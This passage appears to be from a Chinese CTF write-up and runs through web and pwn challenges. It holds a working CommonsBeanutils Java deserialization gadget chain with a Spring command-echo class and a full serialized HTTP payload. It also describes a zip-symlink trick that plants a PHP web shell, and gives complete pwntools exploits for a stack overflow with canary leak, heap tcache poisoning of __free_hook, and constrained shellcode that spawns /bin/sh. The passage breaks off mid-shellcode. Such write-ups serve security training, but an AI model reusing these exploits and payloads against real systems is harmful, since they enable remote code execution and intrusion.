public class CommonsBeanutilsNoCC {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}
上述的clazzBytes需替换成springboot回显class，代码如下：
public class SpringEcho {
public SpringEcho() throws Exception {
{
Object httpresponse = null;
try {
Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes", new Class[0]).invoke(null, new Object[0]);
Object httprequest = requestAttributes.getClass().getMethod("getRequest", new Class[0]).invoke(requestAttributes, new Object[0]);
httpresponse = requestAttributes.getClass().getMethod("getResponse", new Class[0]).invoke(requestAttributes, new Object[0]);
String s = (String)httprequest.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(httprequest, new Object[]{"Cmd"});
if (s != null && !s.isEmpty()) {
httpresponse.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(httpresponse, new Object[]{new Integer(200)});
byte[] cmdBytes;
if (s.equals("echo") ) {
cmdBytes = System.getProperties().toString().getBytes();
} else {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c", s};
cmdBytes = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\\\A").next().getBytes();
}
Object getWriter = httpresponse.getClass().getMethod("getWriter", new Class[0]).invoke(httpresponse, new Object[0]);
getWriter.getClass().getMethod("write", new Class[]{String.class}).
invoke(getWriter, new Object[]{(new String(cmdBytes))});
getWriter.getClass().getMethod("flush", new Class[0]).invoke(getWriter, new Object[0]);
getWriter.getClass().getMethod("close", new Class[0]).invoke(getWriter, new Object[0]);
}
} catch (Exception e) {
e.getStackTrace();
}
}
}
}
两者结合生成序列化数据，提交到服务端,数据包如下：
POST /bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser HTTP/1.1
Host: 192.168.111.1:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: deviceid=1626766160499; xinhu_ca_rempass=0; xinhu_ca_adminuser=zhangsan
Connection: close
Cmd: cat /tmp/RyJSYfyVl6i2ZnB9/flag_kzucLifFImOTUiLC.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 4377
user=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAISQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtTAALX2F1eENsYXNzZXN0ADtMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvSGFzaHRhYmxlO1sACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAETAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////wBwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX%2bAYIVOACAAB4cAAACiDK/rq%2bAAAAMgCzAQAaVGVzdC9HYWRnZXQyMjY1MzgxMzc4NDExMDAHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAGkdhZGdldDIyNjUzODEzNzg0MTEwMC5qYXZhAQAGPGluaXQ%2bAQADKClWDAAHAAgKAAQACQEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggACwEAD2phdmEvbGFuZy9DbGFzcwcADQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7DAAPABAKAA4AEQEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzCAATAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAFQAWCgAOABcBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHABkBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMABsAHAoAGgAdAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAfACAKAAQAIQEACmdldFJlcXVlc3QIACMBAAtnZXRSZXNwb25zZQgAJQEACWdldEhlYWRlcggAJwEAEGphdmEvbGFuZy9TdHJpbmcHACkBAANDbWQIACsBAAdpc0VtcHR5AQADKClaDAAtAC4KACoALwEACXNldFN0YXR1cwgAMQEAEWphdmEvbGFuZy9JbnRlZ2VyBwAzAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DAA1ADYJADQANwEABChJKVYMAAcAOQoANAA6AQAJYWRkSGVhZGVyCAA8AQADVGFnCAA%2bAQAHc3VjY2VzcwgAQAEABGVjaG8IAEIBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAEQARQoAKgBGAQAQamF2YS9sYW5nL1N5c3RlbQcASAEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMAEoASwoASQBMAQATamF2YS91dGlsL0hhc2h0YWJsZQcATgEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsMAFAAUQoATwBSAQAIZ2V0Qnl0ZXMBAAQoKVtCDABUAFUKACoAVgEAB29zLm5hbWUIAFgBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DABaAFsKAEkAXAEAC3RvTG93ZXJDYXNlDABeAFEKACoAXwEABndpbmRvdwgAYQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABjAGQKACoAZQEAB2NtZC5leGUIAGcBAAIvYwgAaQEABy9iaW4vc2gIAGsBAAItYwgAbQEAEWphdmEvdXRpbC9TY2FubmVyBwBvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwBxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwABwBzCgByAHQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwAdgB3CgByAHgBABFqYXZhL2xhbmcvUHJvY2VzcwcAegEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAHwAfQoAewB%2bAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAHAIAKAHAAgQEAA1xcQQgAgwEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwwAhQCGCgBwAIcBAARuZXh0DACJAFEKAHAAigEACWdldFdyaXRlcggAjAEABXdyaXRlCACOAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgcAkAoAkQAJAQAGPT09PT09CACTAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsMAJUAlgoAkQCXAQAFKFtCKVYMAAcAmQoAKgCaCgCRAFIBAAVmbHVzaAgAnQEABWNsb3NlCACfAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAoQEAE2phdmEvbGFuZy9UaHJvd2FibGUHAKMBAA1nZXRTdGFja1RyYWNlAQAgKClbTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDsMAKUApgoApACnAQAEQ29kZQEACkV4Y2VwdGlvbnMBABNbTGphdmEvbGFuZy9TdHJpbmc7BwCrAQACW0IHAK0BAA1TdGFja01hcFRhYmxlAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAsAoAsQAJACEAAgCxAAAAAAABAAEABwAIAAIAqQAAAjIACgAJAAAB3Sq3ALIBTBIMuAASEhQDvQAOtgAYAQO9AAS2AB5NLLYAIhIkA70ADrYAGCwDvQAEtgAeTiy2ACISJgO9AA62ABgsA70ABLYAHkwttgAiEigEvQAOWQMSKlO2ABgtBL0ABFkDEixTtgAewAAqOgQZBAGlAAsZBLYAMJkABqcBUyu2ACISMgS9AA5ZA7IAOFO2ABgrBL0ABFkDuwA0WREAyLcAO1O2AB5XK7YAIhI9Bb0ADlkDEipTWQQSKlO2ABgrBb0ABFkDEj9TWQQSQVO2AB5XGQQSQ7YAR5kAEbgATbYAU7YAVzoFpwBhElm4AF22AGASYrYAZpkAGQa9ACpZAxJoU1kEEmpTWQUZBFOnABYGvQAqWQMSbFNZBBJuU1kFGQRTOga7AHBZuwByWRkGtwB1tgB5tgB/twCCEoS2AIi2AIu2AFc6BSu2ACISjQO9AA62ABgrA70ABLYAHjoHGQe2ACISjwS9AA5ZAxIqU7YAGBkHBL0ABFkDuwCRWbcAkhKUtgCYuwAqWRkFtwCbtgCYEpS2AJi2AJxTtgAeVxkHtgAiEp4DvQAOtgAYGQcDvQAEtgAeVxkHtgAiEqADvQAOtgAYGQcDvQAEtgAeV6cADjoIGQi2AKhXpwADsQABAAYBzgHRAKIAAQCvAAAAOwAJ/wB7AAUHAAIHAAQHAAQHAAQHACoAAAL7AGolUgcArPwAJAcArvoAhv8AAgACBwACBwAEAAEHAKIKAKoAAAAEAAEAogABAAUAAAACAAZwdAAEUHducnB3AQB4cQB%2bAA54
拿到回显了。
tmp目录下找到flag文件。
获取到flag。
### ZIPZIP
当解压操作可以覆盖上一次解压文件就可以造成任意文件上传漏洞。 查看upload.php源码。
zip.php
构造payload： 先构造一个指向 /var/www/html的软连接(因为html目录下是web环境，为了后续可以getshell)。
利用命令(zip --symlinks test.zip ./*)对test文件进行压缩：
此时 上传该test.zip 解压出里边的文件也是软连接 /var/www/html目录下 接下来的思路 就是想办法构造一个gethsell文件
让gethsell文件正好解压在/var/www/html 此时就可以getshell。
构造第二个压缩包，我们先创建一个test目录(因为上一个压缩包里边目录就是test)，在test目录下写一个shell文件，在压缩创建的test目录
此时压缩包目录架构是：test/cmd.php 。 当我们上传这个压缩包时 会覆盖上一个test目录 但是 test目录软链接指向/var/www/html
解压的时候会把cmd.php 放在/var/www/html 此时我们达到了getsehll的目的 。
上传第一个压缩包：
在上传第二个压缩包文件，此时cmd.php 已经在/var/ww/html 目录下 访问 。
访问cmd.php 执行命令，成功读取到flag。
## PWN
### Find_Flag
分析find_flag程序，存在的漏洞位于sub_132F函数中，该函数中，存在栈溢出漏洞，如下所示：
.text:000000000000132F sub_132F proc near ; CODE XREF: main+71↓p
.text:000000000000132F ; __unwind {
.text:000000000000132F endbr64
.text:0000000000001333 push rbp
.text:0000000000001334 mov rbp, rsp
.text:0000000000001337 sub rsp, 60h
.text:000000000000133B mov rax, fs:28h
.text:0000000000001344 mov [rbp-8], rax
.text:0000000000001348 xor eax, eax
.text:000000000000134A lea rdi, aHiWhatSYourNam ; "Hi! What's your name? "
.text:0000000000001351 mov eax, 0
.text:0000000000001356 call sub_1100
.text:000000000000135B lea rax, [rbp-60h]
.text:000000000000135F mov rdi, rax
.text:0000000000001362 mov eax, 0
.text:0000000000001367 call sub_1110 ; gets读入数据，未限制大小
.text:000000000000136C lea rdi, aNiceToMeetYou ; "Nice to meet you, "
.text:0000000000001373 mov eax, 0
.text:0000000000001378 call sub_1100
.text:000000000000137D lea rax, [rbp-60h]
.text:0000000000001381 mov rcx, 0FFFFFFFFFFFFFFFFh
.text:0000000000001388 mov rdx, rax
.text:000000000000138B mov eax, 0
.text:0000000000001390 mov rdi, rdx
.text:0000000000001393 repne scasb
.text:0000000000001395 mov rax, rcx
.text:0000000000001398 not rax
.text:000000000000139B lea rdx, [rax-1]
.text:000000000000139F lea rax, [rbp-60h]
.text:00000000000013A3 add rax, rdx
.text:00000000000013A6 mov word ptr [rax], 0A21h
.text:00000000000013AB mov byte ptr [rax+2], 0
.text:00000000000013AF lea rax, [rbp-60h]
.text:00000000000013B3 mov rdi, rax
.text:00000000000013B6 mov eax, 0
.text:00000000000013BB call sub_1100
.text:00000000000013C0 lea rdi, aAnythingElse ; "Anything else? "
.text:00000000000013C7 mov eax, 0
.text:00000000000013CC call sub_1100
.text:00000000000013D1 lea rax, [rbp-40h]
.text:00000000000013D5 mov rdi, rax
.text:00000000000013D8 mov eax, 0
.text:00000000000013DD call sub_1110 ; gets读入数据，未限制大小
.text:00000000000013E2 nop
.text:00000000000013E3 mov rax, [rbp-8]
.text:00000000000013E7 xor rax, fs:28h
.text:00000000000013F0 jz short locret_13F7
.text:00000000000013F2 call sub_10D0
.text:00000000000013F7
.text:00000000000013F7 locret_13F7: ; CODE XREF: sub_132F+C1↑j
.text:00000000000013F7 leave
.text:00000000000013F8 retn
.text:00000000000013F8 ; } // starts at 132F
.text:00000000000013F8 sub_132F endp
利用代码如下所示：
from pwn import *
import struct
fs = "%17$lx,%19$lx"
flag = 0x0000000000001231
ret_offset = 0x146f
p = remote('127.0.0.1', 20701)
#p = process('./canary')
print((p.recvuntil('name? ')).decode())
p.sendline(fs.encode())
buf = (p.recvuntil('!\n').decode())
print(buf)
data = buf.split()[4].split('!')[0]
canary = (int((data.split(',')[0]), 16))
ret = (int((data.split(',')[1]), 16))
print(canary)
print(ret)
print(p.recvuntil('? ').decode())
payload = (("A"*56).encode())
payload += struct.pack("<Q", canary)
payload += (("A"*8).encode())
payload += struct.pack("<Q", flag + ret - ret_offset)
p.sendline(payload)
p.interactive()
### WriteBook
利用代码如下所示：
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF('./writebook')
if args.LIBC:
libc_path = "./libc.so.6"
os.environ['LD_PRELOAD'] = libc_path
else:
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
libc = ELF(libc_path)
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
context.terminal = ['tmux','splitw','-h']
return gdb.debug([exe.path] + argv)
elif args.REMOTE:
return remote("127.0.0.1", "8892")
else:
return process([exe.path] + argv, *a, **kw)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
"""
size: 32
[+] Heap-Analysis - __libc_malloc(32)=0x555555757040
page #1
1. New page
2. Write paper
3. Read paper
4. Destroy the page
5. Repick
> 3
"""
HEAP_BASE = 0
LIBC_BASE = 0
def create_page(size):
io.sendline("1")
io.recvuntil("both sides?")
if 240 < size:
io.sendline("2")
else:
io.sendline("1")
io.sendline(str(size))
def remove_page(nr):
io.sendline("4")
io.recvuntil("Page:")
io.sendline(str(nr))
def print_page(nr):
io.sendline("3")
io.recvuntil("Page:")
io.sendline(str(nr))
def load_page(nr, data):
io.sendline("2")
io.recvuntil("Page:")
io.sendline(str(nr))
io.recvuntil("Content:")
io.send(data)
def get_heapleak(pg_nr):
global HEAP_BASE
print_page(pg_nr)
io.recvuntil("Content:")
leakstr = io.recvline()[1:-1] + b"\x00\x00"
print(hex(u64(leakstr)))
heap_leak = u64(leakstr)
HEAP_BASE = heap_leak - 0xd30
print("-" * 89)
print("HEAPBASE: %s" % hex(HEAP_BASE))
def get_libcleak(pg_nr):
global LIBC_BASE
print_page(pg_nr)
io.recvuntil("Content:")
leakstr = io.recvline()[1:-1] + b"\x00\x00"
print(hex(u64(leakstr)))
libc_leak = u64(leakstr)
LIBC_BASE = libc_leak - 0x3ec070
print("-" * 89)
print("LIBC_BASE: %s" %hex(LIBC_BASE))
io = start()
io.recvuntil("> ")
# shellcode = asm(shellcraft.sh())
length = 0xf0-8
biglength = 0xf0
print("[*]First Create")
create_page(0x1e0)
#load_page(0, cyclic(0x1e0))
payload = b"A"*8
payload += p64(0x331)
load_page(0, payload)
io.sendline()
create_page(0x40)
create_page(0x50)
create_page(0x60)
create_page(40)
create_page(0x1e0)
create_page(0x90)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
print("[*]Remove last 7")
remove_page(7)
remove_page(8)
remove_page(9)
remove_page(10)
remove_page(11)
remove_page(12)
remove_page(13)
print("[*]Create 0xf0")
create_page(0xf0)
print("[*]Heap Leak")
get_heapleak(7)
print("[*]Remove last")
remove_page(7)
#7
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0) #keep from merging with top
remove_page(7)
remove_page(8)
remove_page(9)
remove_page(10)
remove_page(11)
remove_page(12)
remove_page(13)
remove_page(14)
remove_page(15)
create_page(0x1d0)
get_libcleak(7)
remove_page(7)
print("LIBC_BASE: %s" %hex(LIBC_BASE))
print("HEAP_BASE: %s" %hex(HEAP_BASE))
payload = b"-"*(0x100-8)
payload += p64(0xf1)
load_page(5, payload)
io.sendline()
#tcache is now full for 0x1e0, overflow the next chunk header and set prev size
CHUNK_TO_COALESCE = HEAP_BASE+0x260
FAKECHUNK_BASE = CHUNK_TO_COALESCE+0x18
FREE_HOOK = LIBC_BASE+0x3ed8e8
payload = b""
payload += b"A"*32
payload += p64(0x330) #fake prev_size pointing to page 0
load_page(4, payload)
payload = b"A"*8
payload += p64(0x331)
payload += p64(FAKECHUNK_BASE)
payload += p64(FAKECHUNK_BASE+0x8)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(CHUNK_TO_COALESCE)
len(payload)
load_page(0, payload)
io.sendline()
#io.interactive()
# free the page we modified the chunk on
remove_page(5)
# we now have unsorted bin pointing to 0x270 offset which overlaps. Now create a page to get that pointer
create_page(0x1d0)
create_page(0x1d0)
create_page(0x1d0)
# then remove to get into tcache
remove_page(5)
remove_page(6)
remove_page(7)
remove_page(8)
# 0x270 offset pointer is now in tcache
# overwrite the next pointer
payload = b""
payload += p64(0)
payload += p64(0x1e1)
payload += p64(FREE_HOOK)
load_page(0, payload)
io.sendline()
create_page(0x1d0)
create_page(0x1d0)
# Write the magic gadget to __free_hook ptr
payload = p64(LIBC_BASE+0x4f432)
load_page(6, payload)
io.sendline()
# free a page
remove_page(3)
io.interactive()
"""
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
"""
### CreateCode
反编译create_code，漏洞点见如下代码注释处：
.text:00000000000013F0 sub_13F0 proc near ; CODE XREF: main+AE↓p
.text:00000000000013F0 ; __unwind {
.text:00000000000013F0 endbr64
.text:00000000000013F4 push rbp
.text:00000000000013F5 mov rbp, rsp
.text:00000000000013F8 sub rsp, 10h
.text:00000000000013FC mov dword ptr [rbp-0Ch], 0
.text:0000000000001403 mov eax, cs:dword_4040
.text:0000000000001409 cmp eax, 2Eh ; '.'
.text:000000000000140C jle short loc_142E
.text:000000000000140E mov edx, 0Fh
.text:0000000000001413 lea rsi, aNoMoreData ; "no more data.\n"
.text:000000000000141A mov edi, 1
.text:000000000000141F mov eax, 0
.text:0000000000001424 call sub_10C0
.text:0000000000001429 jmp locret_153C
.text:000000000000142E ; --------------------------------------------------------------------------- .text:000000000000142E
.text:000000000000142E loc_142E: ; CODE XREF: sub_13F0+1C↑j
.text:000000000000142E mov eax, cs:dword_4040
.text:0000000000001434 add eax, 1
.text:0000000000001437 mov cs:dword_4040, eax
.text:000000000000143D mov edi, 324h
.text:0000000000001442 call sub_10F0 ; 申请1000字节大小的内存
.text:0000000000001447 mov [rbp-8], rax
.text:000000000000144B mov rax, [rbp-8]
.text:000000000000144F and rax, 0FFFFFFFFFFFFF000h
.text:0000000000001455 mov edx, 7
.text:000000000000145A mov esi, 1000h
.text:000000000000145F mov rdi, rax
.text:0000000000001462 call sub_1100 ; 设置申请的内存属性为RWX
.text:0000000000001467 mov edx, 9
.text:000000000000146C lea rsi, aContent ; "content: "
.text:0000000000001473 mov edi, 1
.text:0000000000001478 mov eax, 0
.text:000000000000147D call sub_10C0
.text:0000000000001482 mov rax, [rbp-8]
.text:0000000000001486 mov edx, 3E8h
.text:000000000000148B mov rsi, rax
.text:000000000000148E mov edi, 0
.text:0000000000001493 mov eax, 0
.text:0000000000001498 call sub_10E0 ; 读取数据到内存中
.text:000000000000149D mov eax, cs:dword_4040
.text:00000000000014A3 cdqe
.text:00000000000014A5 lea rcx, ds:0[rax*8]
.text:00000000000014AD lea rdx, unk_4060
.text:00000000000014B4 mov rax, [rbp-8]
.text:00000000000014B8 mov [rcx+rdx], rax
.text:00000000000014BC mov rax, [rbp-8]
.text:00000000000014C0 mov eax, [rax]
.text:00000000000014C2 cmp eax, 0F012F012h ; 判断起始地址是否为0xF012F012
.text:00000000000014C7 jnz short loc_1517
.text:00000000000014C9 jmp short loc_14EF
.text:00000000000014CB ; --------------------------------------------------------------------------- .text:00000000000014CB
.text:00000000000014CB loc_14CB: ; CODE XREF: sub_13F0+106↓j
.text:00000000000014CB mov rdx, [rbp-8]
.text:00000000000014CF mov eax, [rbp-0Ch]
.text:00000000000014D2 cdqe
.text:00000000000014D4 movzx eax, byte ptr [rdx+rax+4]
.text:00000000000014D9 cmp al, 0Fh ; 判断数据值是否>0xF
.text:00000000000014DB jbe short loc_14EB
.text:00000000000014DD mov rdx, [rbp-8]
.text:00000000000014E1 mov eax, [rbp-0Ch]
.text:00000000000014E4 cdqe
.text:00000000000014E6 mov byte ptr [rdx+rax+4], 0 ; 大于0xF，则置0
.text:00000000000014EB
.text:00000000000014EB loc_14EB: ; CODE XREF: sub_13F0+EB↑j
.text:00000000000014EB add dword ptr [rbp-0Ch], 1
.text:00000000000014EF
.text:00000000000014EF loc_14EF: ; CODE XREF: sub_13F0+D9↑j
.text:00000000000014EF cmp dword ptr [rbp-0Ch], 3E7h 遍历内存中的数据
.text:00000000000014F6 jle short loc_14CB
.text:00000000000014F8 mov rax, [rbp-8]
.text:00000000000014FC add rax, 4
.text:0000000000001500 mov cs:qword_4048, rax
.text:0000000000001507 mov rdx, cs:qword_4048
.text:000000000000150E mov eax, 0
.text:0000000000001513 call rdx ; qword_4048 ; 执行申请内存处的代码
.text:0000000000001515 jmp short loc_1521
.text:0000000000001517 ; --------------------------------------------------------------------------- .text:0000000000001517
.text:0000000000001517 loc_1517: ; CODE XREF: sub_13F0+D7↑j
.text:0000000000001517 mov rax, [rbp-8]
.text:000000000000151B mov dword ptr [rax], 4
.text:0000000000001521
.text:0000000000001521 loc_1521: ; CODE XREF: sub_13F0+125↑j
.text:0000000000001521 mov edx, 15h
.text:0000000000001526 lea rsi, aCreateSuccessf ; "create successfully.\n"
.text:000000000000152D mov edi, 1
.text:0000000000001532 mov eax, 0
.text:0000000000001537 call sub_10C0
.text:000000000000153C
.text:000000000000153C locret_153C: ; CODE XREF: sub_13F0+39↑j
.text:000000000000153C leave
.text:000000000000153D retn
.text:000000000000153D ; } // starts at 13F0
.text:000000000000153D sub_13F0 endp
通过上述分析，可以知道，申请了1000字节RWX内存，当前四字节内容为0xF012F012时，会为进一步判断后续内存数据，数据内容限定在0~0xF之间，后续直接执行此处代码。因而，这里可以使用如下指令进行构造，exp如下：
from pwn import *
context(os='linux', arch='amd64')
#context.log_level = 'debug'
BINARY = './create_code'
elf = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == 'r':
HOST = "127.0.0.1"
PORT = 8888
s = remote(HOST, PORT)
else:
s = process(BINARY)
#context.terminal = ['tmux', 'splitw', '-h']
#s = gdb.debug(BINARY)
s.sendline('1')
print(s.recvuntil("content: "))
flag = b"\x12\xF0\x12\xF0"
buf = asm('''
add DWORD PTR [rip+0x600], eax
''')
# make xor ecx,ecx code 0x31c9
buf += asm('''
add al, 0x0d
add al, 0x0d
add al, 0x0d
add BYTE PTR [rdx+rax*1], al
add al, 0x01
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
''')
# padding
buf += asm('''
add cl, BYTE PTR [rdx]
add cl, BYTE PTR [rdx]
add cl, BYTE PTR [rdx+rax*1]
''')
buf += b"\x00"*(0x27-len(buf))
buf += b"\x0a\x01"
# rcx = 0x200
buf += asm('''
add ecx, DWORD PTR [rip+0x30f]
''')
# push rdx # 0x52
buf += asm('''
add al, 1
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# pop rdi # 0x5f
buf += asm('''
add cl, byte PTR [rdx]
add al, 6
add byte PTR [rdx+rcx*1], al
add al, 1
add byte PTR [rdx+rcx*1], al
''')
# al = 0x30
# add rdi, 0x30f # 4881c70f030000
buf += asm('''
add cl, byte PTR [rdx]
add al, 0xf
add al, 1
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add cl, byte PTR [rdx]
add cl, byte PTR [rdx]
add cl, byte PTR [rdx]
''')
# al = 0x40
# xor esi, esi # 0x31f6
buf += asm('''
add cl, byte PTR [rdx]
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# al = 0x30
# xor edx, edx # 0x31d2
buf += asm('''
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add al, 1
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# al = 0x31
# push 0x3b # 0x6a3b
buf += asm('''
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
''')
# al = 0x31
# pop rax # 0x58
buf += asm('''
add cl, byte PTR [rdx]
add al, 0xf
add al, 0xf
add al, 0x9
add byte PTR [rdx+rcx*1], al
''')
# al = 0x58
# make /bin/sh
# rcx = 0x200
buf += asm('''
add ecx, DWORD PTR [rip+0x20f]
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0x5
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add al, 2
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
